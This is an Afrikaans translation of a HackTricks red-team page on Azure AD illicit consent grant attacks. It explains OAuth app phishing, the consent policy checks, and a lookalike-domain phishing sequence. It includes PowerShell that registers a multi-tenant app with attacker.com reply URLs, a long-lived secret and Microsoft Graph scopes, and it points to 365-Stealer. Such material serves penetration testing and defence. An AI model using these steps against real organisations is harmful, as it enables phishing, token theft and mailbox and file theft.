Az - Illicit Consent Grant

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien jou maatskappy geadverteer in HackTricks of laai HackTricks af in PDF-formaat Kyk na die INSKRYWINGSPLANNE!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.

OAuth App Hengelary

Azure Aansoeke vra vir toestemming om die gebruikerdata te benader (basiese inligting, maar ook toegang tot dokumente, stuur e-posse...). Indien toegelaat, kan 'n normale gebruiker slegs toestemming verleen vir "Lae Impak" toestemmings. In alle ander gevalle is administratiewe toestemming vereis. GA, ApplicationAdministrator, CloudApplication Administrator en 'n aangepaste rol wat toestemming verleen om toestemmings aan aansoeke te gee kan huurder-wye toestemming gee.

Slegs toestemmings wat nie administratiewe toestemming benodig word geklassifiseer as lae impak. Dit is toestemmings wat vereis word vir basiese aanmelding soos openid, profiel, e-pos, User.Read en offline_access. Indien 'n organisasie toelaat dat gebruikerstoestemming vir alle aansoeke gegee word, kan 'n werknemer toestemming verleen vir 'n aansoek om bogenoemde van hul profiel te lees.

Daarom kan 'n aanvaller 'n skadelike Aansoek voorberei en met 'n hengelary, die gebruiker die Aansoek laat aanvaar en sy data steel.

2 Tipes Onwettige Toestemming Verleningsaanvalle

• Ongeverifieer: Skep 'n aansoek vanaf 'n eksterne rekening met die toestemmings User.Read en User.ReadBasic.All byvoorbeeld, hengel 'n gebruiker, en jy sal in staat wees om gidsinligting te benader.

• Dit vereis dat die gehengelde gebruiker in staat moet wees om OAuth-aansoeke vanaf eksterne omgewings te aanvaar!

• Geverifieer: Nadat 'n hoof met genoeg voorregte gekompromitteer is, skep 'n aansoek binne die rekening en hengel 'n paar bevoorregte gebruiker wat bevoorregte OAuth-toestemmings kan aanvaar.

• In hierdie geval kan jy reeds die inligting van die gids benader, dus is die toestemming User.ReadBasic.All nie meer interessant nie.

• Jy is waarskynlik belangstel in toestemmings wat 'n administrateur vereis om hulle te verleen, omdat 'n rou gebruiker geen OAuth-aansoeke enige toestemming kan gee nie, daarom moet jy slegs daardie gebruikers hengel (meer oor watter rolle/toestemmings hierdie voorreg verleen later)

Kontroleer of gebruikers toestemming kan verleen

Die volgende PowerShell-opdrag word gebruik om die toestemmingskonfigurasie vir gebruikers in Azure Active Directory (Azure AD) te kontroleer met betrekking tot hul vermoë om toestemming te verleen vir aansoeke:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

• Deaktiveer gebruikersgoedkeuring: Hierdie instelling verbied gebruikers om toestemming te verleen aan aansoeke. Geen gebruikersgoedkeuring vir aansoeke word toegelaat nie.

• Gebruikers kan toestemming gee vir programme van geverifieerde uitgewers of jou organisasie, maar slegs vir toestemmings wat jy kies: Hierdie instelling laat alle gebruikers toe om slegs toestemming te gee vir aansoeke wat deur 'n geverifieerde uitgewer gepubliseer is en aansoeke wat in jou eie huurder geregistreer is. Dit voeg 'n beheerlaag by deur slegs toestemming toe te staan vir spesifieke toestemmings.

• Gebruikers kan toestemming gee vir alle programme: Hierdie instelling is meer inskiklik en laat alle gebruikers toe om toestemming te gee vir enige toestemmings vir aansoeke, solank daardie toestemmings nie administratiewe toestemming vereis nie.

• Aangepaste aansoektoestemmingsbeleid: Hierdie instelling dui aan dat 'n aangepaste beleid van krag is, wat op spesifieke organisatoriese vereistes toegespits kan word en 'n kombinasie van beperkings gebaseer op die aansoekuitgewer, die toestemmings wat die aansoek versoek, en ander faktore mag behels.

Begrip van Illegitieme Toestemmingverleningsaanval

In 'n illegitieme toestemmingverleningsaanval, mislei aanvallers eindgebruikers om toestemming te verleen aan 'n kwaadwillige aansoek wat by Azure geregistreer is. Dit word gedoen deur die aansoek as legitiem te laat voorkom, wat slagoffers onbewus lei om op 'n "Aanvaar" knoppie te klik. As gevolg hiervan reik Azure AD 'n token uit na die aanvaller se webwerf, wat hulle in staat stel om toegang te verkry tot en die slagoffer se data te manipuleer, soos die lees of stuur van e-posse en die toegang tot lêers, sonder 'n organisatoriese rekening nodig te hê.

Aanvalsproses-oorsig

Die aanval behels verskeie stappe wat 'n generiese maatskappy teiken. So kan dit ontvou:

1. Domeinregistrasie en Aansoekgasheer: Die aanvaller registreer 'n domein wat lyk soos 'n betroubare webwerf, byvoorbeeld "veiligedomeinlogin.com". Onder hierdie domein word 'n subdomein geskep (bv. "maatskappy.naamveiligedomeinlogin.com") om 'n aansoek te gasheer wat ontwerp is om magtigingskodes vas te vang en toegangstokens aan te vra.

2. Aansoekregistrasie in Azure AD: Die aanvaller registreer dan 'n Meertenant Aansoek in hul Azure AD Huurder, en noem dit na die teikenmaatskappy om legitiem te lyk. Hulle konfigureer die aansoek se Omleidings-URL om te verwys na die subdomein wat die kwaadwillige aansoek gasheer.

3. Opstel van Toestemmings: Die aanvaller stel die aansoek op met verskeie API-toestemmings (bv. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Hierdie toestemmings, eens deur die gebruiker verleen, laat die aanvaller toe om sensitiewe inligting namens die gebruiker te onttrek.

4. Verspreiding van Kwaadwillige Skakels: Die aanvaller stel 'n skakel saam wat die kliënt-ID van die kwaadwillige aansoek bevat en deel dit met geteikende gebruikers, deur hulle te mislei om toestemming te verleen.

Gebruik van Gereedskap vir die Aanval

Die aanval kan gefasiliteer word met gereedskap soos 365-Stealer.

Voor-Aanvalvoorbereiding:

As die aanvaller 'n sekere vlak van toegang tot 'n gebruiker in die slagofferorganisasie het, kan hulle nagaan of die organisasie se beleid die gebruiker toelaat om aansoeke te aanvaar:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("[e-mail]", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Vir die uitvoering van die aanval, sal die aanvaller 'n nuwe Toepassing in hul Azure Huurder moet skep (in Toepassingsregistrasies), opgestel met die regte:

User.ReadBasic.All is binne Microsoft Graph in Delegated permissions. (Toepassingsregte sal altyd ekstra goedkeuring benodig).

• User.ReadBasic.All is die reg wat jou sal toelaat om inligting van alle gebruikers in die organisasie te lees indien dit toegestaan word.

• Onthou dat slegs GA, ApplicationAdministrator, CloudApplication Administrator en 'n aangepaste rol wat regte het om regte aan toepassings te verleen kan huurderbreë toestemming gee. So, jy moet 'n gebruiker met een van daardie rolle phish as jy wil hê hy moet 'n Toepassing wat admin-toestemming benodig goedkeur.

Jy kan ook 'n Toepassing skep via die opdraggelyn met:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Kyk na https://www.alteredsecurity.com/post/introduction-to-365-stealer om te leer hoe om dit te konfigureer.

Let daarop dat die verkrygde toegangsteken vir die grafiek-eindpunt sal wees met die omvang: User.Read en User.ReadBasic.All (die versoekte toestemmings). Jy sal nie in staat wees om ander aksies uit te voer nie (maar dit is genoeg om inligting oor al die gebruikers in die organisasie af te laai).

O365-Aanval-Gereedskapskas

Jy kan ook hierdie gereedskap gebruik om hierdie aanval uit te voer.

Post-Exploitation

Sodra jy toegang tot die gebruiker het, kan jy dinge doen soos die steel van sensitiewe dokumente en selfs die oplaai van agterdeur-dokumentlêers.

Verwysings

• https://www.alteredsecurity.com/post/introduction-to-365-stealer

• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/

Leer AWS-hacking van niks tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die SUBSKRIPSIEPLANNE!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFT's

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.